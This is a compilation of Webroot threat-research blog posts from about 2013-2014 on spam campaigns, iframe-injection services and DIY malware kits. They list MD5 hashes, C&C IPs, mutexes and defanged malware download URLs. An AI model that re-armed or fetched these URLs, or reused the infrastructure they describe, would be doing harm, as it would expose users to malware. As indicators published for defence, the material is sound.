Webroot Inc.

DANCHO DANCHEV'S SECURITY RESEARCH FOR WEBROOT INC.

In-Depth Overview and Analysis of Security Blogger Dancho Danchev's Security Research for Webroot Inc. Circa 2012-2014

Long run compromised accounting data based type of managed iframe-ing service spotted in the wild - Webroot Blog

facebook linkedin twitter

In a cybercrime ecosystem dominated by **DIY** (do-it-yourself) malware/botnet generating releases, populating multiple **market segments** on a systematic basis, cybercriminals continue seeking new ways to acquire and efficiently monetize **fraudulently** obtained **accounting data** , for the purpose of achieving a positive ROI (Return on Investment) on their fraudulent operations. In a series of blog posts, we've been detailing the existence of commercially available **server-based** malicious **script/iframe** injecting/embedding **releases/platforms** utilizing **legitimate infrastructure** for the purpose of hijacking legitimate traffic, ultimately infecting tens of thousands of legitimate users.

We've recently spotted a long-run Web-based managed malicious/iframe injecting/embedding service relying on compromised accounting data for legitimate traffic acquisition purposes. Let's discuss the managed service, its features, and take a peek inside the (still running) malicious infrastructure behind it.

More details:

In terms of Q&A (Quality Assurance), the key differentiation features of the service include: automatic URL AV/blacklist detection through a third-party managed service, **(compromised) legitimate Web site page rank checker** , metrics based statistical system, IM notifications, as well as (compromised) login validation.

Affected CMS platforms: Joomla.Site
WordPress
DataLife Engine
Drupal
cmsimple
BBpress

phpBB
postnuke
e107
PHP-NUKE
PunBB
Simple Machines Forum (SMF)
MODX Revolution
FluxBB
cmsmadesimple
nucleus
Contao Open Source CMS
slaed

The managed service is currently priced at $250 on a monthly basis, $1,500 for six months, and $2,500 for one year subscription. It’s capable of maintaining up to 500 simultaneous threads. Let’s take a peek inside the fraudulent infrastructure behind it.

Known to have responded to the same IP (209.99.40.222; 209.99.40.223) as the original hosting location are also the following fraudulent/typosquatted domains:
hxxp://11si0s8.t3.d.googleadservice.net
hxxp://11si0se.t3.d.googleadservice.net
hxxp://11si0u9.t3.d.googleadservice.net
hxxp://11si0vh.t3.d.googleadservice.net
hxxp://11si0vo.t3.d.googleadservice.net
hxxp://11si0vu.t3.d.googleadservice.net
hxxp://11sl2nr.t3.d.googleadservice.net
hxxp://11sl9jv.t3.d.googleadservice.net
hxxp://11sl9k0.t3.d.googleadservice.net

Known to have phoned back to the same IP (209.99.40.222) as also the following malicious MD5s: MD5: 35908d4fb26949b2431849d3d8165740
MD5: 1e47a4a9744fff22b54077bfbb588aed
MD5: 4d9cc9ff385732f9f61ca926acb5ff1d
MD5: aa4057d07e1fcf258779be5d26ce99cb
MD5: 5f9b815eb20c49b57a7cc7fa8d144e00
MD5: 015208aa2fc88b176be1281fdaac6d24

MD5: 175c12348d05d8bfdeaae607db2cd0a9
MD5: cb0699ecf69598e822e8f8d68b13817d
MD5: b4c5b5e5c5e00dcf78bb5027af03766f

Once executed MD5: 35908d4fb26949b2431849d3d8165740 phones back to: 31.170.179.179
209.99.40.222
208.91.196.252
208.91.196.4
144.76.167.153
31.170.178.179
148.251.97.163
69.195.129.70
195.22.26.252
200.98.255.192

Related malicious MD5s known to have phoned back to the same C&C server (31.170.179.179): MD5: 35908d4fb26949b2431849d3d8165740
MD5: c358eab15a24b50769f31130d82f81ad
MD5: 757661a1ebfec599bbbff8e7eb9ef36f
MD5: 64eadeaf41536d3db4abd65fb7efa4c0
MD5: ca1219813e7a190f310a3c599adb3031

Known to have phoned back to the same IP (209.99.40.223) as the original hosting location are also the following fraudulent domains: MD5: 655cbf254d476fa1b5ac8e8b8f8d1300
MD5: 2c4d569539a3732a5e37b2f01305c87b
MD5: 6271df03b4074daf92a9ae75fd572c70
MD5: 559c4869c327726ff7d2566874569a46
MD5: 65f189242a45493c162b375bd4d1446f

Webroot SecureAnywhere users are proactively protected from these threats.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re

dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

A peek inside a newly launched all-in-one E-shop for cybercrime-friendly services - Webroot Blog

facebook linkedin twitter

Cybercriminals continue diversifying their portfolios of **standardized fraudulent services** , in an attempt to **efficiently monetize** their malicious 'know-how', further contributing to the growth of the cybercrime ecosystem. In a **series of blog posts** highlighting the emergence of the boutique **cybercrime-friendly E-shops** , we've been emphasizing on the over-supply of compromised/stolen accounting data, efficiently aggregated through the TTPs (tactics, techniques and procedures) described in our "**Cybercrime Trends – 2013** " observations.

We've recently spotted a newly launched all-in-one cybercrime-friendly E-shop, offering a diversified portfolio of managed/DIY services/products, exposing a malicious infrastructure worth keeping an eye on. Let's take a peek inside the E-shop's inventory and expose the fraudulent infrastructure behind it.

More details:

Sample screenshots of the all-in-one cybercrime-friendly E-shop:

The E-shop's inventory currently consists of a **DIY** Word exploit generating tool, a malicious form grabbing tool, an SSH brute-forcing tool, as well as a **managed cybercrime-friendly bulletproof hosting service** . Let's take a peek inside the actual malicious infrastructure.

Malicious MD5s known to have phoned back to the same C&C server (108.162.198.142) as the original hosting location: MD5: 941a48eaad0fc20444005bb2a5ffa81f
MD5: b4c5b5e5c5e00dcf78bb5027af03766f
MD5: 42d83b9a5bbb142a7dc5bc27ee4f9933
MD5: 455645aad075326e93091861a3a370f3

MD5: 33d59790d4d3544afd6451254ec798b1
MD5: 5b62cc102f082cf442e49f09025b4188

Once executed MD5: 941a48eaad0fc20444005bb2a5ffa81f phones back to the following C&C servers: 162.159.242.119
193.36.43.104
198.41.184.67
141.101.113.135
185.11.125.93
173.194.41.120
162.159.247.204
144.76.86.115
162.159.249.242
173.194.41.115

Known to have phoned back to the same C&C server (162.159.242.119) are also the following malicious MD5s: MD5: 941a48eaad0fc20444005bb2a5ffa81f
MD5: 43108272d3d5385bdee35017faef3e66
MD5: a0fdd6c0f47a3e11c7ff6ef733899285
MD5: 5ff93e6c88bd04c83350b9ce8190bcea
MD5: 0ebe5ca385d08d4e62206a7a04332d1d
MD5: 9926b031c7e7dcd2a35786aa78534be8

Malicious MD5s known to have phoned back to the same C&C server (108.162.199.142): MD5: 24bb74c9625f3ae55ae17b68a3dc7d66
MD5: 43108272d3d5385bdee35017faef3e66
MD5: a0fdd6c0f47a3e11c7ff6ef733899285
MD5: 5ff93e6c88bd04c83350b9ce8190bcea
MD5: 49da13654fe67013ad67d4ba07327347
MD5: b1e7b397e266b826233567b881ae7e88

Webroot SecureAnywhere users are proactively protected from these threats.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re

dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Malicious JJ Black Consultancy 'Computer Support Services' themed emails lead to malware - Webroot Blog

facebook linkedin twitter

Relying on the systematic and persistent **spamvertising** of tens of thousands of fake emails, as well as the impersonation of popular brands for the purpose of socially engineering gullible users into downloading and executing malicious attachments found in these emails, cybercriminals continue populating their botnets.

We've recently intercepted a currently circulating malicious campaign, impersonating JJ Black Consultancy.

More details:

Sample screenshot of the spamvertised email:

Detection rate for a sampled malware: **MD5: 57b83c8e86591dedd1f7a626bf97eff9** – detected by 3 out of 52 antivirus scanners as Win32/PSW.Fareit.E.

Once executed, the sample starts listening on ports 5954, and 7489.

It also drops the following malicious MD5s on the affected hosts – MD5: 4e551a70e04fa4a4186b2411d7c726e0

It also creates the following Mutexes on the affected hosts: *CTF.TimListCache.FMPDefaultS-1-5-21-1547161642-507921405-839522115-1004MUTEX.DefaultS-1-5-21-1547161642-507921405-839522115-1004 Local\{0BB5ADEF-9D8E-F058-DBC9-BE58FA349D4A} Local\{911F9FCD-AFAC-6AF2-DBC9-BE58FA349D4A} Local\{B0B9FAFD-CA9C-4B54-DBC9-BE58FA349D4A} Local\{B0B9FAFC-CA9D-4B54-DBC9-BE58FA349D4A} Local\{D15F4CEE-7C8F-2AB2-DBC9-BE58FA349D4A} Local\{D15F4CE9-7C88-2AB2-DBC9-BE58FA349D4A} Global\{2E06BA86-8AE7-D5EB-DBC9-BE58FA349D4A} Global\{B0B9FAFD-CA9C-4B54-DBC9-BE58FA349D4A} Global\{B0B9FAFC-CA9D-4B54-DBC9-*

BE58FA349D4A} Global\{D15F4CEE-7C8F-2AB2-DBC9-
BE58FA349D4A} Global\{D15F4CE9-7C88-2AB2-DBC9-
BE58FA349D4A} Global\{0BB5ADEF-9D8E-F058-DBC9-
BE58FA349D4A} Global\{CDAF0886-38E7-3642-11EB-
B06D3016937F} Global\{CDAF0886-38E7-3642-75EA-
B06D5417937F} Global\{CDAF0886-38E7-3642-4DE9-
B06D6C14937F} Global\{CDAF0886-38E7-3642-65E9-
B06D4414937F} Global\{CDAF0886-38E7-3642-89E9-
B06DA814937F} Global\{CDAF0886-38E7-3642-BDE9-
B06D9C14937F} Global\{CDAF0886-38E7-3642-51E8-
B06D7015937F} Global\{CDAF0886-38E7-3642-81E8-
B06DA015937F} Global\{CDAF0886-38E7-3642-FDE8-
B06DDC15937F} Global\{CDAF0886-38E7-3642-0DEF-
B06D2C12937F} Global\{CDAF0886-38E7-3642-5DEF-
B06D7C12937F} Global\{CDAF0886-38E7-3642-95EE-
B06DB413937F} Global\{CDAF0886-38E7-3642-F1EE-
B06DD013937F} Global\{CDAF0886-38E7-3642-89EB-
B06DA816937F} Global\{CDAF0886-38E7-3642-F9EF-
B06DD812937F} Global\{CDAF0886-38E7-3642-E5EF-
B06DC412937F} Global\{CDAF0886-38E7-3642-0DEE-
B06D2C13937F} Global\{CDAF0886-38E7-3642-09ED-
B06D2810937F} Global\{CDAF0886-38E7-3642-51EF-
B06D7012937F} Global\{CDAF0886-38E7-3642-35EC-
B06D1411937F} Global\{DDB39BDC-ABBD-265E-DBC9-
BE58FA349D4A} Global\{BB67AFC4-9FA5-408A-DBC9-
BE58FA349D4A} Global\{CDAF0886-38E7-3642-11EA-
B06D3017937F} Global\{2E1C200D-106C-D5F1-DBC9-
BE58FA349D4A}

It then phones back to the following C&C servers:
62.76.40.177
178.127.98.107
81.149.93.141
76.64.213.21
75.99.113.250
75.1.220.146
178.127.152.80
109.153.212.95

138.91.18.14
76.22.162.44
98.162.170.4
77.239.59.243
81.157.189.166
109.151.239.121
37.57.41.161
81.130.195.125
174.89.110.91
130.37.198.100
221.193.254.122
191.234.52.206
86.139.108.109
50.125.67.100
191.236.81.177
67.85.114.120
137.117.196.168
211.241.234.121
116.84.1.148
72.190.57.143
137.117.72.80
212.233.128.37
24.164.208.22
50.243.11.169
190.194.66.113
109.157.98.93
82.148.40.236
213.120.143.38
174.95.145.177
50.194.119.105

It also downloads the following malicious sample: *hxxp://62.76.40.177/2p/p.exe* – MD5: 9f53ed77502c9c2e6d03e4cab3736adc – detected by 0 out of 51 antivirus scanners

Once executed MD5: 9f53ed77502c9c2e6d03e4cab3736adc starts listening on ports 3270, and 1285.

It then drops MD5: 92cdf94d187458771222ff5cdc8301e5 on the affected hosts.

It also creates the following Mutexes on the affected hosts: *CTF.TimListCache.FMPDefaultS-1-5-21-1547161642-507921405-839522115-1004MUTEX.DefaultS-1-5-21-1547161642-507921405-839522115-1004 Local\{0BB5ADEF-9D8E-F058-DBC9-BE58FA349D4A} Local\{911F9FCD-AFAC-6AF2-DBC9-BE58FA349D4A} Local\{B0B9FAFD-CA9C-4B54-DBC9-BE58FA349D4A} Local\{B0B9FAFC-CA9D-4B54-DBC9-BE58FA349D4A} Local\{D15F4CEE-7C8F-2AB2-DBC9-BE58FA349D4A} Local\{D15F4CE9-7C88-2AB2-DBC9-BE58FA349D4A} Global\{2E06BA86-8AE7-D5EB-DBC9-BE58FA349D4A} Global\{B0B9FAFD-CA9C-4B54-DBC9-BE58FA349D4A} Global\{B0B9FAFC-CA9D-4B54-DBC9-BE58FA349D4A} Global\{D15F4CEE-7C8F-2AB2-DBC9-BE58FA349D4A} Global\{D15F4CE9-7C88-2AB2-DBC9-BE58FA349D4A} Global\{0BB5ADEF-9D8E-F058-DBC9-BE58FA349D4A} Global\{8E0327F4-1795-75EE-11EB-B06D3016937F} Global\{8E0327F4-1795-75EE-75EA-B06D5417937F} Global\{8E0327F4-1795-75EE-4DE9-B06D6C14937F} Global\{8E0327F4-1795-75EE-65E9-B06D4414937F} Global\{8E0327F4-1795-75EE-89E9-B06DA814937F} Global\{8E0327F4-1795-75EE-BDE9-B06D9C14937F} Global\{8E0327F4-1795-75EE-51E8-B06D7015937F} Global\{8E0327F4-1795-75EE-81E8-B06DA015937F} Global\{8E0327F4-1795-75EE-FDE8-B06DDC15937F} Global\{8E0327F4-1795-75EE-0DEF-B06D2C12937F} Global\{8E0327F4-1795-75EE-5DEF-B06D7C12937F} Global\{8E0327F4-1795-75EE-95EE-B06DB413937F} Global\{8E0327F4-1795-75EE-F1EE-B06DD013937F} Global\{8E0327F4-1795-75EE-89EB-B06DA816937F} Global\{8E0327F4-1795-75EE-F9EF-B06DD812937F} Global\{8E0327F4-1795-75EE-E5EF-B06DC412937F} Global\{8E0327F4-1795-75EE-0DEE-B06D2C13937F} Global\{8E0327F4-1795-75EE-09ED-B06D2810937F} Global\{8E0327F4-1795-75EE-51EF-B06D7012937F} Global\{8E0327F4-1795-75EE-35EC-*

B06D1411937F} Global\{DDB39BDC-ABBD-265E-DBC9-BE58FA349D4A} Global\{BB67AFC4-9FA5-408A-DBC9-BE58FA349D4A} Global\{8E0327F4-1795-75EE-09EE-B06D2813937F} Global\{2E1C200D-106C-D5F1-DBC9-BE58FA349D4A}

It also phones back to the following C&C servers:
178.127.98.107
81.149.93.141
76.64.213.21
75.99.113.250
75.1.220.146
178.127.152.80
109.153.212.95
138.91.18.14
76.22.162.44
98.162.170.4
77.239.59.243
81.157.189.166
109.151.239.121
37.57.41.161
81.130.195.125
174.89.110.91
130.37.198.100
221.193.254.122
191.234.52.206
86.139.108.109
168.61.87.1
137.117.196.87
70.25.45.37
67.85.114.120
137.117.72.241
138.91.4.159
178.126.1.253
197.34.35.121
72.190.57.143
188.51.30.90
24.164.208.22

191.236.81.177
50.126.86.87
117.197.245.246
58.168.141.132
72.69.51.146
190.194.66.113
174.90.83.42
191.234.43.116
2.25.191.243
99.138.53.104
99.116.64.244
137.116.229.40
2.229.17.34
85.206.54.80
104.0.129.219
71.19.196.232

Known to have phoned back to the same C&C server (178.127.98.107) are also the following malicious MD5s: MD5: e029c548cbb0f6c6175354bc8e8354ed
MD5: ba2449a4425b9b33316d590941d32e77

Once executed, MD5: e029c548cbb0f6c6175354bc8e8354ed phones back to the following C&C servers: 178.127.98.107:6640
81.149.93.141:7325
76.64.213.21:3232
75.99.113.250:5436

Once executed MD5: ba2449a4425b9b33316d590941d32e77 phones back to the following C&C servers: 178.127.98.107:6640
81.149.93.141:7325
76.64.213.21:3232
75.99.113.250:5436
75.1.220.146:2763
178.127.152.80:1682
77.239.59.243:4106
81.157.189.166:4068
109.153.212.95:4808
138.91.18.14:2202

76.22.162.44:5877
98.162.170.4:6802
109.151.239.121:4627
37.57.41.161:2190
81.130.195.125:2607
174.89.110.91:1442
86.139.108.109:5374
130.37.198.100:2430
221.193.254.122:4753
50.194.40.50:4322
69.127.90.242:6324
137.117.197.214:8806
77.95.78.151:6221
67.186.153.229:7753

Webroot SecureAnywhere users are proactively protected from these threats.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Spamvertised 'Notification of payment received' themed emails lead to malware - Webroot Blog

facebook linkedin twitter

PayPal users, watch what you click on!

We've recently intercepted a currently circulating malicious spamvertised campaign which is impersonating **PayPal** in an attempt to trick socially engineered end users into clicking on the malware-serving links found in the emails.

More details:

Sample screenshot of the spamvertised email:

Malicious URL redirection chain: *hxxp://hoodflixxx.com/PP_det.html -> hxxp://62.76.43.78/p2p/PP_detalis_726716942049.pdf.exe*

Detection rate for a sample malware **MD5: aa1762e9ba4b552421971ef2e4de9208** – detected by 2 out of 51 antivirus scanners as Spyware.Zbot.ED.

Once executed, the sample starts listening on ports 9296, and 3198. It also drops the following malicious MD5: e8007be046dcc5b6f8e29d4d8233fd78 on the affected hosts.

It then phones back to the following C&C servers:
81.157.189.166
81.149.93.141
81.130.195.125
143.225.154.3
76.22.162.44
99.73.173.219
174.89.110.91
23.97.72.192
168.63.211.182
75.1.220.146
77.239.59.243

94.88.99.85
37.57.41.161
46.171.141.202
23.98.64.182
221.193.254.122
191.234.52.206
138.91.18.14
23.98.42.224
168.61.87.1
137.117.69.203
72.190.57.143
109.158.32.240
88.61.116.225
94.98.191.169
105.236.47.68
173.200.116.226
137.117.196.168
221.214.141.155
83.110.198.24
222.14.178.194

Related malicious MD5s known to have phoned back to the following C&C (81.149.93.141) server: MD5: 108a74d39c3bce71ba5686b55658358e
MD5: a2bde0d1389b3bdbcd9f612ae683edd8
MD5: c9ec831991c4962ba5c984f78e13bef5
MD5: 4ee923a7769430785dd1f309aad0a12b

Once executed MD5: 108a74d39c3bce71ba5686b55658358e phones back to the following C&C servers: 81.149.93.141:7325
81.130.195.125:2607
130.37.198.100:2430
213.120.146.245:6585
143.225.154.3:7621

Once executed MD5: a2bde0d1389b3bdbcd9f612ae683edd8 phones back to the following C&C servers: hxxp://81.149.93.141:7325
hxxp://81.130.195.125:2607

hxxp://130.37.198.100:2430
hxxp://13.120.146.245:6585
hxxp://143.225.154.3:7621

Known to have phoned back to the following C&C server (81.130.195.125) are also the following malicious MD5s: MD5: ffb9cad511d90734a0d6151086994fb6
MD5: 108a74d39c3bce71ba5686b55658358e
MD5: a2bde0d1389b3bdbcd9f612ae683edd8
MD5: 4ee923a7769430785dd1f309aad0a12b
MD5: 188df9486ab259d5a1340f842c4f3e78
MD5: e49e7b907499c8b4e31447eaffd112b1

Once executed, MD5: e49e7b907499c8b4e31447eaffd112b1 phones back to the following C&C servers:
hxxp://94.88.99.85:8596
hxxp://81.130.195.125:2607
hxxp://130.37.198.100:2430
hxxp://109.153.212.95:4808

Webroot SecureAnywhere users are proactively protected from these threats.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

A peek inside a subscription-based DIY keylogging based type of botnet/malware generating tool - Webroot Blog

facebook linkedin twitter

Cybercriminals continue to systematically release **DIY (do-it-yourself)** type of cybercrime-friendly offerings, in an effort to achieve a 'malicious economies of scale' type of fraudulent model, which is a concept that directly intersects with our '**Cybercrime Trends – 2013** ' observations.

We've recently spotted yet another subscription-based, DIY **keylogging based botnet/malware generating tool** . Let's take a peek inside its Web based interface, and expose the cybercrime-friendly infrastructure behind it.

More details:

Sample screenshots of the DIY keylogging platform:

Next to the standard keylogging features, the botnet/malware generating tool also comes with **DDoS** functionality. What's particularly interesting about this tool is that its primary hosting location exposes a cybercrime-friendly malicious infrastructure worth keeping an eye on. Let's take a look.

Known to have phoned back to the same IP as the original hosting location (37.221.160.39) are also the following malicious MD5s: MD5: 6b6836efff22dae8fd49de23e850f9a4
MD5: b60df6003c214d29f574b871530d0e3a
MD5: d4eb62529918bd18820809d34d8a443b
MD5: 42c826634ee1479de99b2a354475574d

Related serial numbers: Serial Number: 27 42 F1 24 28 26 FB 7F 69 B0 52 B7 F3 94 DF ED
Serial Number: 00 9B 51 7C AF 08 AA 1A 85 82 2D B0 CE 5E 91 69 FE

Once executed MD5: 6b6836efff22dae8fd49de23e850f9a4 phones back to: *hxxp://freedowloading.tk/love/gate.php* –

37.221.160.39

Once executed MD5: b60df6003c214d29f574b871530d0e3a phones back to: *hxxp://os.downloadastrocdn.com* (54.245.233.100)
hxxp://marketsmaster.org (37.221.160.39)
hxxp://images.downloadastro.com (54.230.184.115)
hxxp://img.downloadastrocdn.com (199.58.87.151)
hxxp://cdneu.downloadastrocdn.com (146.185.27.45)
hxxp://cdnus.downloadastrocdn.com (74.81.69.244)
hxxp://liveupdate.symantecliveupdate.com (195.12.226.226)
hxxp://stats.norton.com (63.245.201.111)
hxxp://rp.downloadastrocdn.com (54.244.253.240)

Related malicious MD5s known to have phoned back to (os.downloadastrocdn.com; 54.245.233.100): MD5: 7653f1815f563d0de16effff5ca2e87a
MD5: 3c4c28ee8da612b86d0d25c9bab878b2
MD5: 26dcae966055a426344649947873d5f5
MD5: 4fad1ced75f400183b977e0a763e6e5a
MD5: 9f052ce63f1197aedf9ab6c677442076
MD5: 4949d65b597dd83b1e6e6b5feacff337
MD5: fb25222b269b58f78305dfc0e84f03d0

Once executed MD5: d4eb62529918bd18820809d34d8a443b phones back to: *hxxp://os.5oftwarescdn.com* (54.245.235.34)
hxxp://download.my-apps-repository.com (69.16.175.10)
hxxp://re2.pw (64.79.83.242)
hxxp://50ftwares.com (64.79.83.254)
hxxp://marketsmaster.org (37.221.160.39)
hxxp://img.5oftwarescdn.com (199.58.87.155)
hxxp://cdneu.5oftwarescdn.com (146.185.27.45)
hxxp://cdnus.5oftwarescdn.com (199.58.87.155)
hxxp://wajam.com (198.199.14.15)

Once executed MD5: 42c826634ee1479de99b2a354475574d phones back to: *hxxp://download.my-apps-repository.com* (69.16.175.42)
hxxp://os.5oftwarescdn.com (54.245.233.100)
hxxp://re2.pw (64.79.83.242)
hxxp://50ftwares.com (64.79.83.254)

hxxp://marketsmaster.org (37.221.160.39)
hxxp://img.5oftwarescdn.com (199.58.87.151)
hxxp://cdneu.5oftwarescdn.com (65.254.40.36)
hxxp://cdnus.5oftwarescdn.com (199.58.87.155)
hxxp://wajam.com (198.199.14.10)

Webroot SecureAnywhere users are proactively protected from these threats.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Spamvertised 'Error in calculation of your tax' themed emails lead to malware - Webroot Blog

facebook linkedin twitter

Cybercriminals continue populating their botnets through the persistent **spamvertising** of tens of thousands of legitimately looking malicious emails, impersonating popular brands, in an attempt to trick socially engineered users into clicking on the malicious links found within the emails.

We’ve recently intercepted an actively circulating spamvertised campaign which is impersonating HM’s Revenue & Customs Department and enticing users into clicking on the malware-serving links found in the emails.

More details:

Sample screenshot of the spamvertised email:

Malicious URL redirection chain: *hxxp://shotoku.ed.jp/attc.html* -> *hxxp://85.143.166.215/2p/p.exe*

Related malicious MD5s known to have been downloaded from the same IP (85.143.166.215): MD5: c1d33139ad48ff5bb58273396eea364b
MD5: da9ce0b472be4568d5749ea6fc6d6099
MD5: 552b4880e0ab13784ab2c0ba06f4e1fd
MD5: 3d6807e96cfcae7816234d06cb65df0c
MD5: 94ca63cd8a32096e5eddfd262e88d705
MD5: 1f8c347071f2dcabe45469dd9db98039
MD5: 0dfb50204737f8df26a899dcb47c42ce

Detection rate for the sampled malware: **MD5: 2192aeb3c4707015ef3bc3e2e8ca6da9** – detected by 3 out of 51 antivirus scanners as Mal/Zbot-QU

Once executed, the sample starts listening on ports 2661 and 5668.

Once executed, the sample creates the following Mutexes on the affected hosts: *CTF.TimListCache.FMPDefaultS-1-5-21-1547161642-507921405-839522115-1004MUTEX.DefaultS-1-5-21-1547161642-507921405-839522115-1004 Local\{0BB5ADEF-9D8E-F058-DBC9-BE58FA349D4A} Local\{911F9FCD-AFAC-6AF2-DBC9-BE58FA349D4A} Local\{D15F4CE9-7C88-2AB2-DBC9-BE58FA349D4A} Local\{D15F4CEE-7C8F-2AB2-DBC9-BE58FA349D4A} Local\{B0B9FAFC-CA9D-4B54-DBC9-BE58FA349D4A} Local\{B0B9FAFD-CA9C-4B54-DBC9-BE58FA349D4A} Global\{2E06BA86-8AE7-D5EB-DBC9-BE58FA349D4A} Global\{B0B9FAFD-CA9C-4B54-DBC9-BE58FA349D4A} Global\{B0B9FAFC-CA9D-4B54-DBC9-BE58FA349D4A} Global\{D15F4CEE-7C8F-2AB2-DBC9-BE58FA349D4A} Global\{D15F4CE9-7C88-2AB2-DBC9-BE58FA349D4A} Global\{0BB5ADEF-9D8E-F058-DBC9-BE58FA349D4A} Global\{BFDEF9F0-C991-4433-11EB-B06D3016937F} Global\{BFDEF9F0-C991-4433-75EA-B06D5417937F} Global\{BFDEF9F0-C991-4433-4DE9-B06D6C14937F} Global\{BFDEF9F0-C991-4433-65E9-B06D4414937F} Global\{BFDEF9F0-C991-4433-89E9-B06DA814937F} Global\{BFDEF9F0-C991-4433-BDE9-B06D9C14937F} Global\{BFDEF9F0-C991-4433-51E8-B06D7015937F} Global\{BFDEF9F0-C991-4433-81E8-B06DA015937F} Global\{BFDEF9F0-C991-4433-FDE8-B06DDC15937F} Global\{BFDEF9F0-C991-4433-0DEF-B06D2C12937F} Global\{BFDEF9F0-C991-4433-5DEF-B06D7C12937F} Global\{BFDEF9F0-C991-4433-95EE-B06DB413937F} Global\{BFDEF9F0-C991-4433-F1EE-B06DD013937F} Global\{BFDEF9F0-C991-4433-89EB-B06DA816937F} Global\{BFDEF9F0-C991-4433-F9EF-B06DD812937F} Global\{BFDEF9F0-C991-4433-E5EF-B06DC412937F} Global\{BFDEF9F0-C991-4433-0DEE-B06D2C13937F} Global\{BFDEF9F0-C991-4433-09ED-B06D2810937F} Global\{BFDEF9F0-C991-4433-51EF-B06D7012937F} Global\{BFDEF9F0-C991-4433-35EC-B06D1411937F} Global\{DDB39BDC-ABBD-265E-DBC9-BE58FA349D4A} Global\{BB67AFC4-9FA5-408A-DBC9-*

BE58FA349D4A} Global\{BFDEF9F0-C991-4433-79EC-B06D5811937F} Global\{2E1C200D-106C-D5F1-DBC9-BE58FA349D4A}

It drops the following MD5s on the affected hosts: MD5: 1dc247518c06ab38441a226dc9a63cf4

It then phones back to the following C&C servers:
174.89.110.91
86.131.158.222
98.202.88.224
77.239.59.243
23.98.42.224
23.98.64.182
130.37.198.100
99.73.173.219
138.91.18.14
94.88.99.85
109.153.212.95
143.225.154.3
213.120.146.245
37.57.41.161
76.22.162.44
221.193.254.122
37.203.28.115
75.1.220.146
191.234.52.206
168.63.62.72
168.61.87.1
137.135.218.230
58.72.156.251
114.189.115.181
191.236.81.175
137.116.225.57
2.135.155.255
71.49.172.208
138.91.187.61
137.117.72.80
37.213.4.238

93.77.3.231
220.227.80.53
81.130.195.125
204.80.1.48
105.237.41.92
119.150.7.131
188.10.35.153
14.99.133.100
89.44.180.213
188.25.71.232
137.117.197.32
168.62.182.150
23.96.34.43
109.64.20.153
118.96.3.224

Related malicious MD5s known to have phoned back to the same C&C servers: MD5: b7383b0464ad36f2ed8a6481df2ad9a2
MD5: 98bda54bf4dcffbe606b0c5dbfdf769d
MD5: 4bb673a1445b945a96b155ec8b83fc27
MD5: 6b8ecdbfe7594678e3005e6d7e770d27
MD5: fa3551284c281abefada9c8e6cf27ec9
MD5: 44abf0f5ddb012c5a315f842e806d5e1
MD5: ccdb6afa7366cfd21e54f63f6f26241b
MD5: f3322d923826bc18d41dee67e1428e18
MD5: 1dd70251fbfad01ee4dcba178d71b03a
MD5: f8d354d15501d7835ef6bbc9f1404ea4
MD5: e90f10b35c99b43bfa0cb9216d8bcee1
MD5: ec97ed628d2a45be07412aed9d262b0c
MD5: 194300c46b331ff59f5361560a5865f8
MD5: 28ab4d1f4891c446434b58ff31b55a23

We’ll continue monitoring the malicious campaign, and post updates as soon as new developments take place.

Webroot SecureAnywhere users are proactively protected from these threats.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Malicious DIY Java applet distribution platforms going mainstream - part two - Webroot Blog

facebook linkedin twitter

In a **cybercrime ecosystem** , dominated by **client-side exploits serving** Web malware exploitation kits, cybercriminals continue relying on good old fashioned **social engineering tricks** in an attempt to trick gullible end users into knowingly/unknowingly installing malware. In a series of blog posts, we've been highlighting the existence of **DIY (do-it-yourself)** , **social engineering** driven, **Java drive-by** type of **Web based platforms** , further enhancing the current efficient state of social engineering driven campaigns.

Let's take a peek inside yet another Web based DIY Java applet distribution platform, discuss its features, and directly connect to the **Rodecap botnet** , whose connections with related malicious campaigns have been established in several previously published posts.

More details:

Sample screenshot of the DIY Java applet distribution platform:

Sample screenshot of the DIY Java applet distribution platform's Web based interface:

Sample screenshot of the DIY Java applet distribution platform's statistics:

The cross-platform (Windows, Mac, Linux) Web based DIY Java applet distribution platform currently exploits a well known vulnerability in Java v.7u21, for the purpose of dropping malicious code on the exploited hosts, and supports detailed statistics for the number of successful installations.

Malicious domain name reconnaissance: *hxxp://ntent.com* – 50.19.104.123; 216.146.46.11

Known to have phoned back to the same IP (50.19.104.123) as the original hosting location: MD5: f1f19a389a5705287b694a1302f1b05c
MD5: 9a04f31b23a3df208a04c61f267d26ed
MD5: 48703ab141b117be45af84aa423ee847
MD5: e96d37bcbb8fd089b41d459218460c76
MD5: cfba5f6f377d0c9055a4206ffd422fb1
MD5: f1f19a389a5705287b694a1302f1b05c
MD5: 9a04f31b23a3df208a04c61f267d26ed
MD5: 5d41b87ea2dd897dce8467d3d37012a1

Known to have been downloaded from the same IP (216.146.46.11) are also the following malicious MD5s: MD5: 9a04fa3a72706559493a61a804806801
MD5: 63d56c0eb1eddc098c3a8236146a8dc5
MD5: 919b71d88938defae7bf544580023af0
MD5: 6fad9b57db0f373ca8cdd6750be47f30
MD5: 8fe4f12df5e8753b752046890df43c9a
MD5: 2c33da5f8f459d1f42db27fdda3aeb3a

Known to have phoned back to the same IP (216.146.46.11) are also the following malicious MD5s: MD5: 2fa50721d5432d1ed71404c78723a789
MD5: 7d2c3f91c1e19359f508a1e89af5ac9c
MD5: d366088e4823829798bd59a4d456a3df
MD5: d448f1e0be73af1151d50774e5cdd737
MD5: bdea9256185bedd9ce70a667a9c5dd03
